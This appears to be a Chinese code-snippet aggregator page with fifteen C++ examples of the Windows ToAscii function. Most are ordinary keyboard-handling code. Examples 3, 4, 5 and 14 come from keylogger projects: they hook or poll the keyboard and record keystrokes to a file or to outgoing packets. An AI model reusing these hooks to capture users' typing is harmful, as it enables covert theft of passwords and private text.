当前位置: 首页>>代码示例>>C++>>正文


C++ ToAscii函数代码示例

本文整理汇总了C++中ToAscii函数的典型用法代码示例。如果您正苦于以下问题:C++ ToAscii函数的具体用法?C++ ToAscii怎么用?C++ ToAscii使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了ToAscii函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: snprintf

void CConfigSet::WriteVariablesToRegistry (const char *reg_name, const char *config_section)
{
	LONG result;
	char buff[1024];
	CRegKey newrk;

	snprintf(buff, sizeof(buff), "%s\\\\%s", reg_name, config_section);
	result = newrk.Create(HKEY_CURRENT_USER, buff);
	if (result != ERROR_SUCCESS) return;

	for (config_index_t ix = 0; ix < m_numVariables; ix++) {
	  switch (m_variables[ix].m_type) {
	  case CONFIG_TYPE_INTEGER:
	    newrk.SetValue(m_variables[ix].m_value.m_ivalue,
			   m_variables[ix].m_sName);
	    break;
	  case CONFIG_TYPE_BOOL:
	    newrk.SetValue(m_variables[ix].m_value.m_bvalue ? 1 : 0,
			   m_variables[ix].m_sName);
	    break;
	  case CONFIG_TYPE_STRING:
	    newrk.SetValue(ToAscii(&m_variables[ix]),
			   m_variables[ix].m_sName);
	    break;
	  case CONFIG_TYPE_FLOAT:
	    
	    newrk.SetValue(ToAscii(&m_variables[ix]), 
			   m_variables[ix].m_sName);
	    break;
			   
	  }
	}
	newrk.Close();

}
开发者ID:BluePandaLi,项目名称:mpeg4ip,代码行数:35,代码来源:config.cpp

示例2: DefaultLanguageCompare

int DefaultLanguageCompare(const wchar *a, int a_length, const wchar *b, int b_length, int)
{
	int  little = 0, middle = 0;
	const wchar *p1 = a, *e1 = a + a_length, *p2 = b, *e2 = b + b_length;

	while(p1 < e1 && p2 < e2)
	{
		wchar c1 = *p1++;
		wchar c2 = *p2++;

		int level1 = (IsLetter(c1) ? 3 : IsDigit(c1) ? 2 : c1 == ' ' ? 0 : 1);
		int level2 = (IsLetter(c2) ? 3 : IsDigit(c2) ? 2 : c2 == ' ' ? 0 : 1);
		if(level1 != level2)
			return cmp(level1, level2);
		if(level1 <= 1)
		{
			if(c1 != c2)
				return cmp(c1, c2);
			continue;
		}
		if(level1 == 2)
		{ // digits
			const wchar *dp1 = --p1, *dp2 = --p2;
			int res = LangCompareDigits(dp1, dp2, e1, e2);
			if(res)
				return res;
			p1 = dp1;
			p2 = dp2;
			continue;
		}

		int u1, u2, i1, i2;

		i1 = ToAscii(u1 = ToUpper(c1));
		i2 = ToAscii(u2 = ToUpper(c2));

		if(i1 != i2)
			return i1 >= i2 ? 1 : -1;

		if(u1 != u2) // different diacritics
			if(middle == 0)
				middle = u1 - u2;

		if(c1 != c2) // different case
		{
			if(little == 0)
				little = (u1 != c1) - (u2 != c2);
		}
	}
	little += 4 * middle;
	if(little == 0)
		little = a_length - b_length;
	return sgn(little);
}
开发者ID:pedia,项目名称:raidget,代码行数:54,代码来源:LangInfo.cpp

示例3: log_numeric_keystrokes

void log_numeric_keystrokes( FILE * log_file, char * keyboard_state )
{
	int i;
	// Log the pressed numeric keys, not on the keypad 
	// (These keys can also be special keys : @,$,...)
	for( i = VK_0; i <= VK_9; i++ )
	{
		if( GetAsyncKeyState( i ) & KEY_PRESSED_STATE )
		{
			int scan_code = MapVirtualKey( i, 0 );
			char ascii_char;
			// ToAscii returns a numeric key [0..9] or a special key : [@,$,%,...]
			if( ToAscii( i, scan_code, ( BYTE * ) keyboard_state, ( LPWORD ) &ascii_char, 0 ) == 1 )
			// If a character has been retrieved
			{
				log_infos( log_file, "%c", ascii_char );
			}
		}
	}
	
	// Log the pressed numeric keys, on the keypad
	for( i = VK_NUMPAD0; i <= VK_NUMPAD9; i++ )
	{
		if( GetAsyncKeyState( i ) & KEY_PRESSED_STATE )
		{
			log_infos( log_file, "%01d", i - VK_NUMPAD0 );
		}
	}
}
开发者ID:kfrapin,项目名称:bb-keylogger,代码行数:29,代码来源:bb-keylogger-keyboard.c

示例4: kbdHandler

LRESULT CALLBACK kbdHandler(int code, WPARAM wParam, LPARAM lParam) {
	if (logRun && code >= 0) {
		WORD buf;
		BYTE KeyState[256];
		char lpString[256];
		KBDLLHOOKSTRUCT *pKeyBoard;

		pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
		if (!keyboard.isWorking())
			keyboard.startWorking(getTime());
		GetKeyboardState(KeyState);
		if (wParam == WM_KEYDOWN) {
			if (cor.count(pKeyBoard->vkCode))
				keyboard.log(cor[pKeyBoard->vkCode]);
			else if (ToAscii(pKeyBoard->vkCode, MapVirtualKey(pKeyBoard->vkCode, 0), KeyState, &buf, 0) == 1)
				keyboard.log((char)buf);
			else if (GetKeyNameTextA(MAKELONG(0, MapVirtualKey(pKeyBoard->vkCode, 0)), lpString, 255) > 0)
				keyboard.log(std::string(lpString));
		}
	}
	if (logRun) {
		if (json.getSizeBuffer() >= PACKET_SIZE) {
			json.sendPackets();
			json.putActiveProcess(curPath, "USELESS");
		}
		if (!stockProcessName())
			json.putActiveProcess("UNKNOWN", "USELESS");
	}
	return (CallNextHookEx(keyboard.getHandler(), code, wParam, lParam));
}
开发者ID:JeremyPouyet,项目名称:Keylogger,代码行数:30,代码来源:dllmain.cpp

示例5: __declspec

 LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
 {
	 char ch;
	 if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
	 {
		 f1=fopen("c:\\report.txt","a+");
		 if(wParam==VK_RETURN)
		 {
			 ch='\n';
			 fwrite(&ch,1,1,f1);
		 }
		 else
		 {
			 BYTE ks[256];
			 GetKeyboardState(ks);
			 WORD w;
			 UINT scan;
			 scan=0;
			 ToAscii(wParam,scan,ks,&w,0);
			 ch=char(w);
			 fwrite(&ch,1,1,f1);
		 }
		 fclose(f1);
	 }
//╫╚╪ЭелоШо╒╢╚╣щ╦ЬфДкШ╧Ёвса╢ио╣дЁлпР
	 LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
	 return RetVal;
 }
开发者ID:huotianyi,项目名称:API_watching,代码行数:28,代码来源:hookKB.cpp

示例6: doesCurrentLayoutHaveAltGr

/** @brief doesCurrentLayoutHaveAltGr
  *
  * @return true if this keyboard layout has an AltGr key, false otherwise
  * Check to see whether the current keyboard layout actually has an AltGr key
  * by checking whether any of the keys which might do produce a symbol when
  * AltGr (Control + Alt) is depressed. Generally this loop will exit pretty
  * early (it exits on the first iteration for my German layout). If there is
  * no AltGr key in the layout then it will run right through, but that should
  * hopefully not happen very often.
  * 
  * In theory we could do this once and cache the result, but that involves
  * tracking layout switches to invalidate the cache, and I don't think that the
  * added complexity is worth the price. */
static bool doesCurrentLayoutHaveAltGr()
{
    /** Keyboard state array with VK_CONTROL and VK_MENU depressed. */
    const BYTE auKeyStates[256] =
        { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x80, 0x80 };
    WORD ach;
    unsigned i;

    for (i = '0'; i <= VK_OEM_102; ++i)
    {
        if (ToAscii(i, 0, auKeyStates, &ach, 0))
            break;
        /* Skip ranges of virtual keys which are undefined or not relevant. */
        if (i == '9')
            i = 'A' - 1;
        if (i == 'Z')
            i = VK_OEM_1 - 1;
        if (i == VK_OEM_3)
            i = VK_OEM_4 - 1;
        if (i == VK_OEM_8)
            i = VK_OEM_102 - 1;
    }
    if (i > VK_OEM_102)
        return false;
    return true;
}
开发者ID:bayasist,项目名称:vbox,代码行数:39,代码来源:WinKeyboard.cpp

示例7: KeysymToChar

char* KeysymToChar(int keysym)
{
	LPWORD temp;

	ToAscii((UINT) keysym, NULL, NULL, temp, NULL);
	return (char*)temp;
}
开发者ID:BenjaminSiskoo,项目名称:pcsx2,代码行数:7,代码来源:keyboard.cpp

示例8: KeyHookMsg

LRESULT CALLBACK
KeyHookMsg(int code, WPARAM w, LPARAM l)
{
	if(code >= 0 && IsWindow(g_targetWnd))
	{
		PKEYINFO keyInfo = (PKEYINFO) &l;

		if(!keyInfo->extended && !keyInfo->alt && !keyInfo->notPressed)
		{
			BYTE keyState[256];
			WORD ch=0;

			GetKeyboardState(keyState);
			keyState[VK_CONTROL] = 0;
			if(ToAscii((UINT) w, keyInfo->scanCode, keyState, &ch, 0) == 1)
			{

				SendMessageTimeout(	g_targetWnd,
									g_callbackMsg, 
									ch, 
									l, 
									SMTO_BLOCK|SMTO_ABORTIFHUNG, 
									50, 
									NULL	);
			}
		}
	}

    return CallNextHookEx(NULL, code, w, l);
}
开发者ID:seungbe0m,项目名称:KeyboardHook,代码行数:30,代码来源:keyhk.cpp

示例9: MapVirtualKey

char 
CBaseCaret::MakeAscii( UINT nChar, UINT nFlags )
{

#ifdef _MAC
	return MapVirtualKey( nChar, 2 );
#else

	BYTE KeyState[256];

#ifdef WIN32
	WORD TransKey;
#else
	DWORD TransKey;
#endif

	GetKeyboardState(KeyState);
	
	if ( ToAscii(nChar, (nFlags & 0x7f), KeyState, &TransKey, 0) == 1 ) {
		return (char )(TransKey & 0x7f);
	} else {
		return 0;
	}
#endif

}
开发者ID:karlnicholas,项目名称:GeneDoc,代码行数:26,代码来源:Mycaret.cpp

示例10: MapVirtualKey

static SDL_keysym *TranslateKey(UINT scancode, SDL_keysym *keysym, int pressed)
{
	/* Set the keysym information */
	keysym->scancode = (unsigned char)scancode;
	keysym->sym = DIK_keymap[scancode];
	keysym->mod = KMOD_NONE;
	keysym->unicode = 0;
	if ( pressed && SDL_TranslateUNICODE ) { /* Someday use ToUnicode() */
		UINT vkey;
#ifndef NO_GETKEYBOARDSTATE
		BYTE keystate[256];
		BYTE chars[2];
#endif

		vkey = MapVirtualKey(scancode, 1);
#ifdef NO_GETKEYBOARDSTATE
		/* Uh oh, better hope the vkey is close enough.. */
		keysym->unicode = vkey;
#else
		GetKeyboardState(keystate);
		if ( ToAscii(vkey,scancode,keystate,(WORD *)chars,0) == 1 ) {
			keysym->unicode = chars[0];
		}
#endif
	}
	return(keysym);
}
开发者ID:Sgt-Nukem,项目名称:chocolate_duke3D,代码行数:27,代码来源:SDL_dx5events.c

示例11: ToAscii

void GameConsole::handleDefaultKeyInput(USHORT vKey)
{
	if (currentInput.currentInput.size() > INPUT_MAX_CHARS)
	{
		return;
	}

	WORD buf;
	BYTE keysDown[256] = {};

	if (GetAsyncKeyState(VK_SHIFT) & 0x8000) // 0x8000 = 0b1000000000000000
	{
		keysDown[VK_SHIFT] = 0x80; // sets highest-order bit to 1: 0b10000000
	}

	if (capsLockToggled)
	{
		keysDown[VK_CAPITAL] = 0x1; // sets lowest-order bit to 1: 0b00000001
	}

	int retVal = ToAscii(vKey, 0, keysDown, &buf, 0);

	if (retVal == 1)
	{
		currentInput.type(buf & 0x00ff);
	}
	else if (retVal == 2)
	{
		currentInput.type(buf >> 8);
		currentInput.type(buf & 0x00ff);
	}
开发者ID:DrBrobot,项目名称:ElDorito,代码行数:31,代码来源:GameConsole.cpp

示例12: dispatch_mem

char dispatch_mem()
{
   Z80 &cpu = CpuMgr.Cpu();
   if (!mem_max)
       return 0;
   if (mem_ascii)
   {
      u8 Kbd[256];
      GetKeyboardState(Kbd);
      unsigned short k;
      if (ToAscii(input.lastkey,0,Kbd,&k,0) != 1)
          return 0;
      k &= 0xFF;
      if (k < 0x20 || k >= 0x80)
          return 0;
      editwm(cpu.mem_curs, (unsigned char)k);
      mright();
      return 1;
   }
   else
   {
      if ((input.lastkey >= '0' && input.lastkey <= '9') || (input.lastkey >= 'A' && input.lastkey <= 'F'))
      {
         unsigned char k = (input.lastkey >= 'A') ? input.lastkey-'A'+10 : input.lastkey-'0';
         unsigned char c = editrm(cpu.mem_curs);
         if (cpu.mem_second) editwm(cpu.mem_curs, (c & 0xF0) | k);
         else editwm(cpu.mem_curs, (c & 0x0F) | (k << 4));
         mright();
         return 1;
      }
   }
   return 0;
}
开发者ID:VWarlock,项目名称:pentevo,代码行数:33,代码来源:dbgmem.cpp

示例13: memset

void CDComView::OnKeyDown(UINT nChar, UINT nRepCnt, UINT nFlags)
{
    WORD wCh;
    char szInput[2];
    if (m_bBlockUserin == false)
    {
        memset(m_kbState, 0, sizeof(m_kbState));
        GetKeyboardState(m_kbState);
        if ((ToAscii(nChar, MapVirtualKey(nChar, MAPVK_VK_TO_CHAR), m_kbState, &wCh, 0) == 1) &&
                ((myisprint((char)wCh)) || ((char)wCh == VK_ESCAPE) || (GetKeyState(VK_CONTROL) & 0x8000)))
        {
            szInput[0] = (char)wCh;
            szInput[1] = 0;
            AddUserInput(szInput, 1);
        }
        else
        {
            CMainFrame *pMainFrm = (CMainFrame *)AfxGetMainWnd();
            char *pText;
            if (pMainFrm)
            {
                pText = pMainFrm->GetKeyString(nChar,
                                               (GetKeyState(VK_CONTROL) & 0x8000) ? true : false,
                                               (GetKeyState(VK_SHIFT  ) & 0x8000) ? true : false);
                if (pText)
                {
                    AddUserInput(pText, strlen(pText));
                }
            }
        }
    }
    CScrollView::OnKeyDown(nChar, nRepCnt, nFlags);
}
开发者ID:cdesjardins,项目名称:DCom,代码行数:33,代码来源:DComView.cpp

示例14: switch

LRESULT mainwnd::HookProc(WPARAM wParam, LPARAM lParam)
{

		switch (wParam)
		{
		case VK_CAPITAL: SaveBuf('['); SaveBuf('C'); SaveBuf('L'); SaveBuf(']'); break;
		case VK_DELETE: SaveBuf('['); SaveBuf('D'); SaveBuf('L'); SaveBuf(']'); break;
		case VK_LSHIFT: SaveBuf('['); SaveBuf('S'); SaveBuf('F'); SaveBuf(']'); break;
		case VK_RSHIFT:SaveBuf('['); SaveBuf('S'); SaveBuf('F'); SaveBuf(']'); break;
		case VK_LCONTROL: SaveBuf('['); SaveBuf('C'); SaveBuf('R'); SaveBuf(']'); break;//Ctrl
		case VK_RCONTROL: SaveBuf('['); SaveBuf('C'); SaveBuf('R'); SaveBuf(']'); break;
		case VK_BACK: SaveBuf('['); SaveBuf('B'); SaveBuf('S'); SaveBuf(']'); break;
		case VK_TAB: SaveBuf('['); SaveBuf('T'); SaveBuf('B'); SaveBuf(']'); break;
		case VK_RETURN:SaveBuf('\n'); break;
		case VK_LMENU: SaveBuf('['); SaveBuf('A'); SaveBuf('T'); SaveBuf(']'); break;//Alt
		case VK_RMENU: SaveBuf('['); SaveBuf('A'); SaveBuf('T'); SaveBuf(']'); break;
		case VK_ESCAPE: SaveBuf('['); SaveBuf('E'); SaveBuf('S'); SaveBuf(']'); break;
		case VK_F2: SaveBuf('['); SaveBuf('F'); SaveBuf('2'); SaveBuf(']'); break;
		case VK_F1: SaveBuf('['); SaveBuf('F'); SaveBuf('1'); SaveBuf(']'); break;
		case VK_F3: SaveBuf('['); SaveBuf('F'); SaveBuf('3'); SaveBuf(']'); break;
		case VK_F4: SaveBuf('['); SaveBuf('F'); SaveBuf('4'); SaveBuf(']'); break;
		case VK_F5: SaveBuf('['); SaveBuf('F'); SaveBuf('5'); SaveBuf(']'); break;
		case VK_F6: SaveBuf('['); SaveBuf('F'); SaveBuf('6'); SaveBuf(']'); break;
		case VK_F7: SaveBuf('['); SaveBuf('F'); SaveBuf('7'); SaveBuf(']'); break;
		case VK_F8: SaveBuf('['); SaveBuf('F'); SaveBuf('8'); SaveBuf(']'); break;
		case VK_F9: SaveBuf('['); SaveBuf('F'); SaveBuf('9'); SaveBuf(']'); break;
		case VK_F10: SaveBuf('['); SaveBuf('F'); SaveBuf('Q'); SaveBuf(']'); break;
		case VK_F11: SaveBuf('['); SaveBuf('F'); SaveBuf('E'); SaveBuf(']'); break;
		case VK_F12: SaveBuf('['); SaveBuf('F'); SaveBuf('R'); SaveBuf(']'); break;
		case VK_SNAPSHOT: SaveBuf('['); SaveBuf('P'); SaveBuf('S'); SaveBuf(']'); break;
		case VK_SCROLL: SaveBuf('['); SaveBuf('S'); SaveBuf('L'); SaveBuf(']'); break;
		case VK_PAUSE: SaveBuf('['); SaveBuf('|'); SaveBuf('|'); SaveBuf(']'); break;
		case VK_INSERT: SaveBuf('['); SaveBuf('I'); SaveBuf('N'); SaveBuf(']'); break;
		case VK_HOME: SaveBuf('['); SaveBuf('H'); SaveBuf('O'); SaveBuf(']'); break;
		case VK_PRIOR: SaveBuf('['); SaveBuf('P'); SaveBuf('U'); SaveBuf(']'); break;
		case VK_NEXT: SaveBuf('['); SaveBuf('P'); SaveBuf('D'); SaveBuf(']'); break;
		case VK_END: SaveBuf('['); SaveBuf('E'); SaveBuf('D'); SaveBuf(']'); break;
		case VK_LWIN: SaveBuf('['); SaveBuf('W'); SaveBuf('N'); SaveBuf(']'); break;
		case VK_RWIN: SaveBuf('['); SaveBuf('W'); SaveBuf('N'); SaveBuf(']'); break;
		case VK_NUMLOCK: SaveBuf('['); SaveBuf('N'); SaveBuf('L'); SaveBuf(']'); break;
		case VK_OEM_3: SaveBuf('['); SaveBuf('`'); SaveBuf('~'); SaveBuf(']'); break;
		case VK_UP: SaveBuf('['); SaveBuf('U'); SaveBuf('P'); SaveBuf(']'); break;
		case VK_LEFT: SaveBuf('['); SaveBuf('L'); SaveBuf('F'); SaveBuf(']'); break;
		case VK_RIGHT: SaveBuf('['); SaveBuf('R'); SaveBuf('I'); SaveBuf(']'); break;
		case VK_DOWN: SaveBuf('['); SaveBuf('D'); SaveBuf('N'); SaveBuf(']'); break;
		default:
			BYTE   ks[256];
			GetKeyboardState(ks);
			WORD   w;
			UINT   scan;
			scan = 0;
			ToAscii(wParam, scan, ks, &w, 0);
			char chr = char(w);
			SaveBuf(chr);
			break;
		}

	return 0;
}
开发者ID:Shadow-Priest,项目名称:KeyRec,代码行数:59,代码来源:mainwnd.cpp

示例15: _glfwTranslateChar

static void _glfwTranslateChar( DWORD wParam, DWORD lParam, int action )
{
    BYTE  keyboard_state[ 256 ];
    UCHAR char_buf[ 10 ];
    WCHAR unicode_buf[ 10 ];
    UINT  scan_code;
    int   i, num_chars, unicode;

    // Get keyboard state
    GetKeyboardState( keyboard_state );

    // Derive scan code from lParam and action
    scan_code = (lParam & 0x01ff0000) >> 16;
    if( action == GLFW_RELEASE )
    {
        scan_code |= 0x8000000;
    }

    // Do we have Unicode support?
    if( _glfwSys.HasUnicode )
    {
        // Convert to Unicode
        num_chars = ToUnicode(
            wParam,          // virtual-key code
            scan_code,       // scan code
            keyboard_state,  // key-state array
            unicode_buf,     // buffer for translated key
            10,              // size of translated key buffer
            0                // active-menu flag
        );
        unicode = 1;
    }
    else
    {
        // Convert to ISO-8859-1
        num_chars = ToAscii(
            wParam,            // virtual-key code
            scan_code,         // scan code
            keyboard_state,    // key-state array
            (LPWORD) char_buf, // buffer for translated key
            0                  // active-menu flag
        );
        unicode = 0;
    }

    // Report characters
    for( i = 0; i < num_chars; i ++ )
    {
        // Get next character from buffer
        if( unicode )
        {
            _glfwInputChar( (int) unicode_buf[ i ], action );
        }
        else
        {
            _glfwInputChar( (int) char_buf[ i ], action );
        }
    }
}
开发者ID:mikanradojevic,项目名称:sdkpub,代码行数:59,代码来源:win32_window.c


注:本文中的ToAscii函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。